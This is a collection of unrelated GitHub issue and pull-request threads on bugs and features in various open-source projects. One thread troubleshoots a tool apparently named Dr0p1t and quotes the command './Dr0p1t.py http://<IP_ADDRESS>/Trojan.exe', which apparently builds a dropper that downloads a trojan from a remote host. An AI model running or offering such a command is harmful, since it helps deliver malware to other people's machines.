Wrong URL in responses/08n-next.md file

Bug Report
Current behavior
The URL mentioned in the following message points to a pull request https://github.com/<username>/community-starter-kit/pull/8

All of the necessary files are complete!  I have a few ideas that might help and I've dropped them in this issue.

Reproduction
Steps to reproduce the behavior in the course:

Enroll into the community starter kit course.
Complete all the steps up to step 14 "Merge the Code of Conduct"
When this 14th step is completed, the following message by github learning lab bot will be displayed.

All of the necessary files are complete!  I have a few ideas that might help and I've dropped them in this issue.

When clicked on this issue, instead of redirecting to the required issue, it redirects the user to a pull request(the same one on which the above message is displayed).

Expected behavior
The URL mentioned in the above message should point to an issue https://github.com/<username>/community-starter-kit/issues/9
Possible solution
I have checked the response of the github-learning-lab bot in this file and it appears that the link stored in the issueURL variable might be incorrect. Although the link stored in the store.visibilityIssueUrl variable is correct(which is used in another response of bot just below the original one). So, replacing issueURL variable by store.visibilityIssueUrl should work.
Additional context
Add any other context about the problem here. If applicable, add screenshots to help explain.

I have made PR #29 with the possible solution mentioned in the bug report. Can you review it @brianamarie ?

Fixed in #29 & #30. Thank you, @chandrakishorSingh!


bad API error message when using a not existing backend

When you use slo-generator in API mode, if you try to compute an SLI with a unknown backend (i mean not specified from the shared configuration), error message from the API is not clear :
Call :
curl -X POST -H "Content-Type: text/x-yaml" --data-binary @sli_get-organization_availability.yaml -H "Authorization: Bearer $(gcloud auth print-identity-token)" https://slo-generator-xxxxxxxx-ew.a.run.app

Answer:
Service Unavailable%

Log seen from SLO Generator instance:
ERROR - Backend "cloud_monitoring/xxxxxxx" not found in config. Exiting.

maybe the error is not well catched ?

Hi @bkamin29,
Thanks for reporting this.
I think the error is caught properly at the SLO Generator level (hence the meaningful error message) but might not be propagated properly to Cloud Run. Unless the CLoud Run error has a different cause? Let me try to reproduce this and get back to you.

Hi @bkamin29,
Thanks for reporting this.
I think the error is caught properly at the SLO Generator level (hence the meaningful error message) but might not be propagated properly to Cloud Run. Unless the Cloud Run error has a different cause? Let me try to reproduce this and get back to you.

aaah, why not, in this case we can reproduce it by using the python module from a laptop ?


Add filter for apps for which ownership can be overriden

What this PR does / why we need it:
Introduces a flag which allows users to specify flags which apps ownership can be snatched from while allowing ownership overrides.
Which issue(s) this PR fixes:

Fixes #993
Introduce flag to filter out apps which we can steal ownership from while deploying

Additional Notes for your reviewer:
The only catch today, is that it is a best effort listing of apps, limited to the namespace the new app itself is being deployed in. This is in line with encouraged kapp-controller patterns.
Review Checklist:

[x] Follows the developer guidelines
[ ] Relevant tests are added or updated
[x] Relevant docs in this repo added or updated
[ ] Relevant carvel.dev docs added or updated in a separate PR and there's
a link to that PR
[x] Code is at least as readable and maintainable as it was before this
change

Additional documentation e.g., Proposal, usage docs, etc.:

Some options I had thought of, ownership-override-allowed-apps, overridable-apps (not a fan), ownership-override-filter
What do you think of these? I quite like the first one, since it is technically not a filter. Filters have mainly been for user supplied resources.

From a convo offline, we are going with ownership-override-allowed-apps 🙌🏼

Created #997 and #998 to track discussions that happened while we were working on this


DO NOT REVIEW (WiP) - Replace program <-> prog array map circular references with uni-directional references

Description
DRAFT PR (Work In Progress)
This PR replaces the existing circular references created between 'program array maps' and programs.  While this works for well-behaved used node applications, this design choice leads to in-complete clean-up and/or crashes with ill-behaving ones, especially if they crash or exit without explicit clean-up.
Testing
New tests added (Work in Progress).  Will need some more enhancements to check for complete clean-up.
Documentation
No changes as of now.
Fixes: #1509, #1510

Not valid anymore.  Replaced with a 'weak references' solution.


[VSIM-90] use get not post

people like to bookmark and share search results, we should let them

whoops, wrong upstream, sorry!


Add workflow to publish docker image for self-hosting

Re: #26
Pretty straightforward: checkout the latest tag, build the docker image for the Python flask application, and publish it to Github's container registry, using the git tag as the image tag.
Here's how it looks when it runs: https://github.com/alexklibisz/explain.dalibo.com/actions/runs/8943147452
Here's how it looks when the image is published: https://github.com/alexklibisz/explain.dalibo.com/pkgs/container/pev2/versions
We might want to adjust the name. I chose pev2 for now, but perhaps you want to call it something else.

I see some comments from @pushkar-anand in my email, but not on the PR:

@pushkar-anand if you want to self-host the service, I have an image hosted here: https://github.com/alexklibisz/pev2-docker/pkgs/container/pev2-server

I see some comments from @pushkar-anand in my email, but not on the PR:

Yes, I got it working so I deleted it. My bad

@pgiraud Could you have a look here? Thanks

No problem at all. Thanks for picking it up! I'll go ahead and close here since this is covered in #33.


ANSIBLE_VAULT_PASSWORD related instructions do not seem to work as documented with EE's.

ISSUE TYPE

Doc issue

SUMMARY

The document section in question: link

I am able to to create the gpg encrypted file, and the shell script, and it does work independently when executed, I do in fact get the password back.  However, when executing with the EE as documented, the ENV is inside the EE container, but Ansible seems to simply ignore it:
ANSIBLE_VAULT_PASSWORD="$( ~/bin/vault.sh )" ansible-navigator run (...)

Is the behavior that is expected such that ANSIBLE_VAULT_PASSWORD=my_plain_text_password would be inside the EE?  If so, I do see that if I switch run to exec and printenv, but the playbook does not seem to use it, first task executed with something vaulted says there were not credentials available.
A vault password or secret must be specified to decrypt
The previous instructions that revolve around linking the password file or script into the project that are considered the less secure options per the docs, do work for me as documented.  I just prefer the newly mentioned method above.  FWIW, I am on MacOS 14.4.1, and ansible-navigator 24.2.0.

@rseabra it looks like you introduced this documentation on #1714 could you comment on how it is to be used?  From everything I can gather, there is no support for ANSIBLE_VAULT_PASSWORD as an env var from Ansible, it doesn't look for it, in fact it seems it was proposed, and the PR was rejected here https://github.com/ansible/ansible/pull/64383#issuecomment-549878478
Any help would be appreciated.

There is a typo that nobody noticed. It's ANSIBLE_VAULT_PASSWORD_FILE!

@rseabra appreciate the reply, yeah I figured that might be the case, but even then I was not sure how it would work, as ANSIBLE_VAULT_PASSWORD_FILE expects a path, and if I'm following the instructions properly in the README, this would essentially set the output of gpg --decrypt eg. the plaintext password as the value of ANSIBLE_VAULT_PASSWORD_FILE in the EE, which will not work.
You essentially need a file with the output of gpg ... as the contents AFAIK, so vault.sh is not expanded, but rather contains the value, and Ansible would trigger vault.sh when invoked, which would give it the password.  The challenge is that you would need to symlink your .asc file into the project for it to be able to execute it in the EE, much like the current directions in the README do today.
If you were able to work around this, or this is some gpg-agent trick (I am new to working with gpg in this context), I would love to hear about it, and we can decide the best way to do a PR to update the docs to explain it better, and fix the typo.

"&%$#"%$#&"# I documented it wrong, I will fix the faq but here's the proper trick:
mylogin@myhost:~$ export ANSIBLE_VAULT_PASSWORD_FILE=~/bin/ansible-vault.sh
mylogin@myhost:~$ cat $ANSIBLE_VAULT_PASSWORD_FILE
#!/bin/sh

/usr/bin/gpg -q -d /.../vault.asc

mylogin@myhost:~$ cat ansible-vault.sh
#!/bin/sh

echo $ANSIBLE_VAULT_PASSWORD

mylogin@myhost:~$ cat zbr.yaml
- hosts: localhost
  vars:
    secret: !vault |
          $ANSIBLE_VAULT;1.1;AES256
<PHONE_NUMBER>6661666331316663356662366262383732396237313939366666663733656439333265
<PHONE_NUMBER>633338306135326235643534656635333665310a343261643432303165633864666131
<PHONE_NUMBER>6366356234633839346430346639623961646434356330393263313433346134386436
<PHONE_NUMBER>636235360a653834393430353938666164396663643537636665623930623339323865
          6336
  tasks:
    - debug:
        var: secret
mylogin@myhost:~$ ansible-playbook zbr.yaml
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [localhost] *****************************************************************************************************************************************************************************************************************************

TASK [Gathering Facts] ***********************************************************************************************************************************************************************************************************************
ok: [localhost]

TASK [debug] *********************************************************************************************************************************************************************************************************************************
ok: [localhost] => {
    "secret": "Segredo!"
}

PLAY RECAP ***********************************************************************************************************************************************************************************************************************************
localhost                  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0

mylogin@myhost:~$ ANSIBLE_VAULT_PASSWORD=$( $ANSIBLE_VAULT_PASSWORD_FILE ) ansible-navigator run -m stdout --eei registry.redhat.io/ansible-automation-platform/ee-minimal-rhel9:2.15.11-2 --senv=ANSIBLE_VAULT_PASSWORD_FILE=ansible-vault.sh --penv=ANSIBLE_VAULT_PASSWORD zbr.yaml
[WARNING]: provided hosts list is empty, only localhost is available. Note that
the implicit localhost does not match 'all'

PLAY [localhost] ***************************************************************

TASK [Gathering Facts] *********************************************************
ok: [localhost]

TASK [debug] *******************************************************************
ok: [localhost] => {
    "secret": "Segredo!"
}

PLAY RECAP *********************************************************************
localhost                  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0

I added https://github.com/ansible/ansible-navigator/pull/1799 in order to resolve.

Thanks a lot for finding out my error in the documentation patch, it's a neat trick and it deserves to be properly documented. :)


Standardized internal configuration interface

Describe the feature
A Config component that would be used across the entirety of SDK to set various configuration parameters that are now mostly set via environment variables.
Motivation
The current process of using environment variables everywhere is clunky at best and does not allow use of other configuration sources. It also makes configuration in tests complicated and flaky.
Constraints

the design must count with other configuration sources than env vars, but it does not need to be implemented for now
for simplicity, a singleton that will load configuration on first require. We will later change it, but only after some other changes to SDK.
since it will be a singleton, it should have API to reload and clear the config to allow testing

Some parts of the SDK are automatically configured using env vars or defaults that cannot be changed. To improve this and fix #956 where we need to allow configuration of a constructor option on the default ApifyStorageLocal instance we should do something like this:


Fix dependent optimistic updates

Currently if you had two optimistic updates say that depended on the current state when one of the optimistic updates was removed because the mutation finished the second optimistic update’s patch in the store would be based on top of the last optimistic update which is no longer applied.
This issue manifested itself in https://github.com/apollostack/apollo-client/issues/1100. The client is put into a loading state after an error in the graphql-anywhere resolver is thrown as graphql-anywhere is trying to resolve data from a previous optimistic result that was removed when the mutation successfully returned. To illustrate using the specific error in https://github.com/apollostack/apollo-client/issues/1100:
We have state that looks like:
data:
  ROOT_QUERY:
    items: [Item1, Item2]
  ...

Then a mutation is fired and an optimistic patch is added so now we have:
data:
  ROOT_QUERY:
    items: [Item1, Item2]
  ...
optimistic:
  -
    ROOT_QUERY:
      items: [Item1, Item2, ItemA]
    ...

Where ItemA represents an item with a client generated id since the mutation has not given us a server-generated id. Then a second mutation is fired so our store looks like:
data:
  ROOT_QUERY:
    items: [Item1, Item2]
  ...
optimistic:
  -
    ROOT_QUERY:
      items: [Item1, Item2, ItemA]
    ...
  -
    ROOT_QUERY:
      items: [Item1, Item2, ItemA, ItemB]
    ...

Where ItemB is another item with a client generated id. Then our first mutation resolves and our store looks like:
data:
  ROOT_QUERY:
    items: [Item1, Item2, Item3]
  ...
optimistic:
  -
    ROOT_QUERY:
      items: [Item1, Item2, ItemA, ItemB]
    ...

This is where the error manifests. See how ItemA stuck around? graphql-anywhere will therefore throw when trying to resolve ItemA. It should be removed when the first mutation completes.
The correct solution in this case is to rewind all of our optimistic updates whenever one finishes and replay them one by one on the new store. That is what this PR implements.
At the time of this issue opening, I have not yet added tests or fixed the failing ones (the failing tests are trivial it would appear).
Closes https://github.com/apollostack/apollo-client/issues/1100

[x] If this PR is a new feature, reference an issue where a consensus about the design was reached (not necessary for small changes)
[x] Make sure all of the significant new logic is covered by tests
[x] Rebase your changes on master so that they can be merged easily
[x] Make sure all tests and linter rules pass
[x] Update CHANGELOG.md with your change

@stubailo ^ this is the exact thing I was trying to explain to you the other day. Just couldn't remember the details.

Make sure not to commit the changed rulers! Maybe turning off wrap is fine though

I did intentionally commit those vscode settings @stubailo, maybe they should be a seperate PR though :blush:
Word wrap is annoying in development when a line temporarily goes over the limit. I changed the ruler to 140 because that’s how tslint is configured. I can change it back though, I just figured consistency between the configs would be nice.

@calebmer yeah, separate PR would be nice, but I think it might not be worth the extra time spent on it. Same with the unrelated package.json changes in the last PR, iirc.

Update: haven’t gotten around to adding tests yet, but I did fix all the tests that were broken. To fix some of the broken tests I had to re-implement updateQueries so that it did not use resultBehaviors, instead running the updating reducers directly in the Apollo root reducer so that it would re-run whenever we re-apply optimistic updates. I assume this refactor is ok given that it was already planned.
The fix before my latest commit only solves for a reducer option which was used in the reproduction. updateQueries, however, calculates the new query result only after the mutation has first been executed. This leads to stale data when an optimistic update is removed when a later optimistic update depended on that previous update. This bug wasn’t the one that was reported even though it still existed, the reason why it surfaced is that we recompute optimistic data between every mutation now. So stale data from update queries must be recomputed as well.
As for the VS Code config, I’ll wait for a decision from @stubailo on what to do there :blush:

Hmm my preference would be to set TSLint to 100 lines and put back the ruler, but we could turn off wrapping. IMO 140 character lines are too long for most people to be able to open several files side by side, and will look weird when opened on GitHub as well.

Is it reasonable for us to just leave out vscode settings from the repo entirely and just have linter config that reflects this? It seems like what your editor does is a personal preference and we should be able to enforce the style guidelines through the linter.
(I don't know what most other JS/TS projects do)

@Poincare good point, but for VS Code I think project devs have the interesting opportunity to improve DX in a number of interesting ways.
@stubalio I have no preference either way as long as it's consistent. The one problem with changing it to 100 though is that some refactoring would be required.

Ok added tests, so everything is done on my end. Ready to merge once reviewed :+1:
One thing though. This PR was opened against the zero-decimal-six branch. I won’t close and reopen against master so that we can keep the conversation history while we finish reviewing. However, whoever decides to merge this in might need to do some git-foo to get this on master.

Made the change to parse queries on every query update. Still feels uncomfortable to me.  Are tests passing on master?

Tests are passing on master. Maybe I somehow screwed up the merge commit? If so, please roll that back and force-push again.

It's actually only one test failing, so you could also just fix that instead of trying to figure out what happened 🤔

Ok, fixed the test. It caught an actual bug in the implementation. The test should have failed before, so I’m not sure why it didn’t 😊

Hm, this PR now increases the bundle size by 5Kb (from 24 to 29). The only reason I can think of is that including the parser makes it that much larger. 😕

@helfer I like that solution much more :blush:


panic: failed to begin subsegment named 's3': segment cannot be found.

I'm using opencensus x-ray exporter and also trying to wrap my s3manager which causes a panic, here's the code where I wrap the s3 client which causes the panic:
sess, err := session.NewSession(&aws.Config{Region: aws.String(Region)})
if err != nil {
  return err
}

client := s3.New(sess)

xray.AWS(client.Client)

uploadParams := &s3manager.UploadInput{
  Bucket:      aws.String(data.bucket),
  Key:         aws.String(data.filename),
  Body:        imageReader,
}

uploader := s3manager.NewUploaderWithClient(client)

_, err = uploader.UploadWithContext(ctx, uploadParams)
if err != nil {
  return err
}

And here's the panic log:
github.com/aws/aws-xray-sdk-go/strategy/ctxmissing.(*DefaultRuntimeErrorStrategy).ContextMissing(0x1aa2af0, 0xe71de0, 0xc00066e210)
	/go/src/github.com/aws/aws-xray-sdk-go/strategy/ctxmissing/default_context_missing.go:47 +0x35
github.com/aws/aws-xray-sdk-go/xray.BeginSubsegment(0x1223300, 0xc0005df170, 0x1050cdd, 0x2, 0x0, 0x0, 0x0)
	/go/src/github.com/aws/aws-xray-sdk-go/xray/segment.go:88 +0x585
github.com/aws/aws-xray-sdk-go/xray.glob..func1(0xc0000aa480)
	/go/src/github.com/aws/aws-xray-sdk-go/xray/aws.go:52 +0x9b
github.com/aws/aws-sdk-go/aws/request.(*HandlerList).Run(0xc0000aa5d8, 0xc0000aa480)
	/go/src/github.com/aws/aws-sdk-go/aws/request/handlers.go:216 +0x98
github.com/aws/aws-sdk-go/aws/request.(*Request).Build(0xc0000aa480, 0xc0001118a0, 0x4897a6)
	/go/src/github.com/aws/aws-sdk-go/aws/request/request.go:359 +0x6b
github.com/aws/aws-sdk-go/aws/request.(*Request).Sign(0xc0000aa480, 0x2abf216db, 0x1a82000)
	/go/src/github.com/aws/aws-sdk-go/aws/request/request.go:380 +0x2f
github.com/aws/aws-sdk-go/aws/request.(*Request).Send(0xc0000aa480, 0x0, 0x0)
	/go/src/github.com/aws/aws-sdk-go/aws/request/request.go:475 +0xf6
github.com/aws/aws-sdk-go/service/s3/s3manager.(*uploader).singlePart(0xc00019e240, 0x121a380, 0xc00031a240, 0x5901, 0x0, 0x0)
	/go/src/github.com/aws/aws-sdk-go/service/s3/s3manager/upload.go:483 +0x1e3
github.com/aws/aws-sdk-go/service/s3/s3manager.(*uploader).upload(0xc00019e240, 0x0, 0x0, 0x0)
	/go/src/github.com/aws/aws-sdk-go/service/s3/s3manager/upload.go:371 +0x579
github.com/aws/aws-sdk-go/service/s3/s3manager.Uploader.UploadWithContext(0x500000, 0x5, 0x0, 0x2710, 0x1236680, 0xc00000c0c8, 0x0, 0x0, 0x0, 0x1223300, ...)
	/go/src/github.com/aws/aws-sdk-go/service/s3/s3manager/upload.go:287 +0x1a9
github.com/example/api.(*API).uploadImage(0xc0005dc160, 0x1223300, 0xc0005df170, 0xc000618000, 0x132f3, 0xc0005dff50, 0xc00064e9a0, 0x66, 0x1063a8c, 0x16, ...)
panic: failed to begin subsegment named 's3': segment cannot be found.

It looks like your context is missing a segment.
Try to wrap your s3manager code with xray.BeginSegment
ctx, seg := xray.BeginSegment(context.Background(), "s3")
uploader := s3manager.NewUploaderWithClient(client)

_, err = uploader.UploadWithContext(ctx, uploadParams)
if err != nil {
  return err
}
seg.Close(nil)

@Rhymond thanks that fixed the panic!


[Bug]: Terminal crashes on Fedora, when reading ssh-config

Current Behavior
When I click the remote connect button or type wsh ssh <remote-ip>, the application crashes.
If I remove my ~/.ssh/config file, the application works fine and the menu opens normally.
The contents of the file do not matter. This error is reproduced with different ssh-config contents and even with an empty ~/.ssh/config.
The format of the executable file is also irrelevant. I have tested it with Appimage, RPM and Snap. It crashes on each of them.
chmod attributes of ssh config, also doesn't matter. I tried with 0400, 0600, 0666. and even with 0777, the bug still exists.
The button:

Expected Behavior
Terminal opens the remote connections menu
Steps To Reproduce

Fedora 41 (Another Fedora versions probably reproduce this too)
Run Waveterm
In terminal tab, click on remote connections button
Application get crash

Wave Version
0.10.1, 0.10.2-beta.0 and 0.9.3
Platform
Linux
OS Version/Distribution
Fedora 41
Architecture
x64
Anything else?
Log lines is empty:

But i make a stacktrace:
Strace of crashing:
strace.log
This problem maybe related to kevinburke/ssh_config library. On 15563 line, you can see message about go panic:
read(44, "panic: can't handle Match directives\n\ngoroutine 453 [running]:\ngithub.com/kevinburke/ssh_config.(*Config).Get(0xc000134540, {0x121c868, 0x1}, {0x112a0ea, 0x4})\n\t/home/runner/go/pkg/mod/github.com/wavetermdev/ssh_config@v0.0.0-20241027232332-ed124367682d/config.go:421 +0x2be\ngithub.com/kevinburke/ssh_config.(*Include).Get(0xc000114000, {0x121c868, 0x1}, {0x112a0ea, 0x4})\n\t/home/runner/go/pkg/mod/github.com/wavetermdev/ssh_config@v0.0.0-20241027232332-ed124367682d/config.go:807 +0x176\ngithub.com/kevinburke/ssh_config.(*Config).Get(0xc0005283c0, {0x121c868, 0x1}, {0x112a0ea, 0x4})\n\t/home/runner/go/pkg/mod/github.com/wavetermdev/ssh_config@v0.0.0-20241027232332-ed124367682d/config.go:427 +0x20c\ngithub.com/kevinburke/ssh_config.findVal(0x0?, {0x121c868?, 0xc000481078?}, {0x112a0ea, 0x4})\n\t/home/runner/go/pkg/mod/github.com/wavetermdev/ssh_config@v0.0.0-20241027232332-ed124367682d/config.go:105 +0x34\ngithub.com/kevinburke/ssh_config.(*UserSettings).GetStrict(0x1c2d920, {0x121c868, 0x1}, {0x112a0ea, 0x4})\n\t/home/runner/go/pkg/mod/github.com/wavetermdev/ssh_config@v0.0.0-20241027232332-ed124367682d/config.go:240 +0xdf\ngithub.com/wavetermdev/waveterm/pkg/remote.NormalizeConfigPattern({0x121c868, 0x1})\n\t/home/runner/work/waveterm/waveterm/pkg/remote/connutil.go:343 +0x50\ngithub.com/wavetermdev/waveterm/pkg/remote/conncontroller.resolveSshConfigPatterns({0xc0004813b8, 0x2, 0xc00046f5c0?})\n\t/home/runner/work/waveterm/waveterm/pkg/remote/conncontroller/conncontroller.go:673 +0x906\ngithub.com/wavetermdev/waveterm/pkg/remote/conncontroller.GetConnectionsFromConfig()\n\t/home/runner/work/waveterm/waveterm/pkg/remote/conncontroller/conncontroller.go:752 +0x197\ngithub.com/wavetermdev/waveterm/pkg/remote/conncontroller.GetConnectionsList()\n\t/home/runner/work/waveterm/waveterm/pkg/remote/conncontroller/conncontroller.go:711 +0x27e\ngithub.com/wavetermdev/waveterm/pkg/wshrpc/wshserver.(*WshServer).ConnListCommand(0x2?, {0x2?, 0x0?})\n\t/home/runner/work/waveterm/waveterm/pkg/wshrpc/wshserver/wshserver.go:662 +0xf\nreflect.Value.call({0x1120820?, 0x1c93580?, 0x1129240?}, {0x112a076, 0x4}, {0xc0002b2288, 0x1, 0x1?})\n\t/opt/hostedtoolcache/go/1.23.4/x64/src/reflect/value.go:581 +0xca6\nreflect.Value.Call({0x1120820?, 0x1c93580?, 0xc0001de290?}, {0xc0002b2288?, 0x1129240?, 0x15e618b?})\n\t/opt/hostedtoolcache/go/1.23.4/x64/src/reflect/value.go:365 +0xb9\ngithub.com/wavetermdev/waveterm/pkg/wshutil.serverImplAdapter.func1(0xc000224e70)\n\t/home/runner/work/waveterm/waveterm/pkg/wshutil/wshadapter.go:119 +0x439\ngithub.com/wavetermdev/waveterm/pkg/wshutil.(*WshRpc).handleRequest(0xc0000c7500, 0xc0002cf180)\n\t/home/runner/work/waveterm/waveterm/pkg/wshutil/wshrpc.go:323 +0x557\ncreated by github.com/wavetermdev/waveterm/pkg/wshutil.(*WshRpc).runServer in goroutine 39\n\t", 65536) = 2775

But i dont shure about it.
On another Fedora 41 installation, the bug reproduces.
On Gentoo Linux and macOS, it does not reproduce, and the connection management menu opens correctly with ssh configuration.
If here is something, what i can do to help with solving a problem, tell me. I try to do my best to help.
Questionnaire

[X] I'm interested in fixing this myself but don't know where to start
[ ] I would like to fix and I have a solution
[ ] I don't have time to fix this right now, but maybe later

Ah you won't see the logs in the console, they'd be in ~/.local/share/waveterm/waveapp.log. Could you check here and email the contents to<EMAIL_ADDRESS>The stack trace provides some context, but the logs will tell us the rest I hope

This is fixed in the latest release

Everything works, thank you very much


[enhancement] added a gradient-bg

Changes proposed

added a new gradient background

Screenshot

Duplicate of #513 which is currently in discussion so I’m closing this for now. Welcome back with other pull requests in the future.

ah, didn't noticed it...


Why apply "pred_fake = netD(fake.detach())" in the function "backward_D_basic" in models/architecture.py?

Hi,
According to my understanding, if .detach() applied, the back-propagation will end here, and the gradients can't afftect the weights of the generator. Then this adverserial-training might not affect the performance of the generator at all.
Many thanks!

In adversarial training, when optimizing the discriminator, it is necessary to apply detach() to fake result so that the gradient won't follow back to generator. However, when optimizing generator, we don't apply detach() to fake result.

In adversarial training, when optimizing the discriminator, it is necessary to apply detach() to fake result so that the gradient won't follow back to generator. However, when optimizing generator, we don't apply detach() to fake result.

Thanks!


pkg/asset: update checkpointer to include CRI v1alpha2 support

Closes https://github.com/kubernetes-incubator/bootkube/issues/934
cc @colemickens
Upgrade note: Users MUST update their checkpointer before updating to Kubernetes v1.10

Any notes on this process, for whenever we need to do it next or did you just build locally and push that image? Maybe just something for the Jenkins backlog. Anyway, LGTM.

Ah sorry. The release job is here: https://jenkins-kube-lifecycle.prod.coreos.systems/job/checkpointer-release/
This is documented in RELEASING.md but could probably be more prominent.

Ah, I had only looked in Documentation/. It looks more than fine as-is. Thanks.


Rehome application-registration form and update incoming links

https://community.superoffice.com/en/developer/create-apps/resources/application-registration/ from SuperOfficeDocs/online-development#8
Where should the form live until the developer portal is up?

https://community.superoffice.com/application-registration

Done


Don't appear in share menu unless a URL is being shared

Whoops - forgot to add this before sending the pull request

Ah, I was just about to fix that. Thanks for beating me to it!


Keyword "ON" now needed? not needed before

Hi
we are using HomeAssistant/Openhab to push light/switches/.... to google smart home
already using it like almost a year, but since a few weeks we now need to say the keyword "ON" to actually turn something ON, this was not needed before... is this a issue? or now working as designed?  what changed?
as an example
lets say: "kitchen" is the name of  a kitchen light, exposed a a "light"
before we could say this to turn on/off the kitchen light
hey google, kitchen => this turned on the kitchen light
hey google, kitchen ON => this also turned on the kitchen light
hey google, kitchen OFF=> this turned off the kitchen light
NOW
hey google, kitchen => i got some google results from the 10 nearby kitchen stores
hey google, kitchen ON => this turned on the kitchen light
hey google, kitchen OFF=> this turned off the kitchen light
i dont need google results of 10 nearby kitchen  stores, i need google to turn on the kitchen light
this is tested in NL and ENG as primary language
tested with devices exposed as switches/lights
how can i resolve this?

This was never intended to happen, so this issue will be closed.
If you are looking for unique ways to control devices in your home, you can go to the Routine section of the Google Assistant settings.

ah, but when is routines available in dutch language?
thnx


element-desktop: 1.11.70 -> 1.11.71

Description of changes
https://github.com/element-hq/element-desktop/releases/tag/v1.11.71

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 328079 run on x86_64-linux 1

3 packages built:

element-desktop
element-desktop-wayland
element-web (element-web-unwrapped)

I'll note that this and #328152 broke Firefox ESR use with Element web (i.e. subject to https://github.com/element-hq/element-web/issues/27684). https://github.com/element-hq/element-web/pull/27803 adds a polyfill to restore compatibility.


Unable to clear history for all users

Using the Java version, I can clear history with this:
 client.send(new TdApi.DeleteChatHistory(-1001234567890L, false, true), defaultHandler);
However, other users are still seeing all messages in a chat.
I know chat has can_be_deleted_for_all_users_, but how to implement this in Java?
Thanks!

This field informs you whether it is possible to delete chat history for all users. If it is false, then deletion for all users is impossible. Probably, you are looking for toggleSupergroupIsAllHistoryAvailable instead.

This field informs you whether it is possible to delete chat history for all users. If it is false, then deletion for all users is impossible. Probably, you are looking for toggleSupergroupIsAllHistoryAvailable instead.

From the doc, it says toggleSupergroupIsAllHistoryAvailable toggles whether the message history of a supergroup is available to new members. So it is not related to delete messages for all user, right?
How to set can_be_deleted_for_all_users_ to true?

You can't set can_be_deleted_for_all_users. You can only check it to know what is possible and what is impossible.

Still can't fix the problem. What I am going to do is to clear all user history in a group or super group.
By using TdApi.DeleteChatHistory, only my own history is cleared. Of course my account has admin rights.
So any idea to clear all history for all users with TDLib?

If the flag is false, then it is not possible to do this using the method. You can try to delete them one-by-one.


Confused by variables and field rename in queries (filter and order by)

Hi,
please consider this database (Orient 2.1.2):
create database memory:tmp admin admin
insert into V set name = 'riccardo', age = 32
insert into V set name = 'chiara', age = 30

I think these queries should give the same result:
orientdb {db=tmp}> select $a as v from V LET $a = age ORDER BY v ASC
----+------+----
#   |@CLASS|v
----+------+----
0   |null  |30
1   |null  |32
----+------+----

orientdb {db=tmp}> select $a as v from V LET $a = age ORDER BY $a ASC
----+------+----
#   |@CLASS|v
----+------+----
0   |null  |32
1   |null  |30
----+------+----

And also these:
orientdb {db=tmp}> select $a as v from V LET $a = age WHERE $a > 30
----+------+----
#   |@CLASS|v
----+------+----
0   |null  |32
----+------+----
1 item(s) found. Query executed in 0.006 sec(s).

orientdb {db=tmp}> select $a as v from V LET $a = age WHERE v > 30
0 item(s) found. Query executed in 0.004 sec(s).

Hi @raymanrt
filtering on aliases is not supported in 2.2.x.
This feature will be supported in v.3.0 and is already implemented in develop branch
Thanks
Luigi


How to re-use code

Hi Team, first thing first, karate framework looks pretty promising and less verbose. I have used restassured and there, in Base Java class we setup auth params and other things that are needed across suite and we extend the base class in each sub class to re-use the auth params. Does karate support the same..if so can you please point me to the docs ??
Thanks
sudheer

yes you can re-use code.
here is the specific doc: https://github.com/intuit/karate#calling-other-feature-files
and there are multiple examples in the demos: https://github.com/intuit/karate/tree/master/karate-demo - look at the second row.


Remove send data

This is no longer needed, the radio task handles whether or not it should send.

@jbwillis the IMU code used to check the SEND_DATA flag, and then use this to occasionally downlink imu logs.


Getting started with the comments sections for admins

Describe the issue
To learn about the project as a whole. The use cases and who the intended users are. What would a MVP for this project be.
Definition of done

[x] To create the initial tickets on how/where to get started
[x] Take preliminary notes of what the project entails
[x] To understand more of what this project is about

Current mockup has upside down comment traversal ?
DB design is a work in progress
API endpoints for a createComment and getComment
think about extending for reactions feature
Start in PrivateCloud for now (not really needed for Public)
Learning for Prisma and Mongodb

Meet with Jason Leach (+all platform admins Cailey Shelly, Billy, Jason) to understand the requirements (figma designs, functionality)
Plan testing for admins
Unit test ?
Current designs may be outdated (almost 1 year ago)
Ask the roles of the platform admins (clarify what they do on the website)
Who is involved in the conversation ? (admins and po's?)


Failed To Excute Script

when i run file on windows 7 don't run and give message failed to excute script.

Show the command you done to get this Error.
Sent from my OnePlus ONEPLUS A3003 using FastHub

Any details or how I could help you !?

Getting this error everytime

What's the command you use ?

I have encountered the same error. And for the command I use is ./Dr0p1t.py http://<IP_ADDRESS>/Trojan.exe

Seems like it's some typo in the new downloading function I added 9 days ago.
I will review the code when I have time ASAP.

I got the same error

Fixed and updated, check it out!

Still have the issue...

Issue was with no logical reason at first but it worked when I rewritten the code but now there's no issue trust me and try again several options like changing the website you have uploaded to ,rebooting your machine etc..

After testing on many devices found that the issue is still there!
After many digging and testing found it's a permission issue now I fixed it
Sorry guys..

Tried everything, but couldn't get it work, in the end Thank You very much !!!!

See my tutorial here :
https://youtu.be/A7r1rKlAHZg


When I rotate the screen on the Ipad, the distortion occurs

https://user-images.githubusercontent.com/7666564/148868180-2cd77181-4fc1-4f44-a309-dc0bc5028489.mov

@ldhlfzysys
Just providing a video of the current behavior may not be enough, please provide flutter doctor -v. From the video, where exactly does the distortion occur ?

@ldhlfzysys Just providing a video of the current behavior may not be enough, please provide flutter doctor -v. From the video, where exactly does the distortion occur ?

Each version has this problem. @darshankawar

@ldhlfzysys
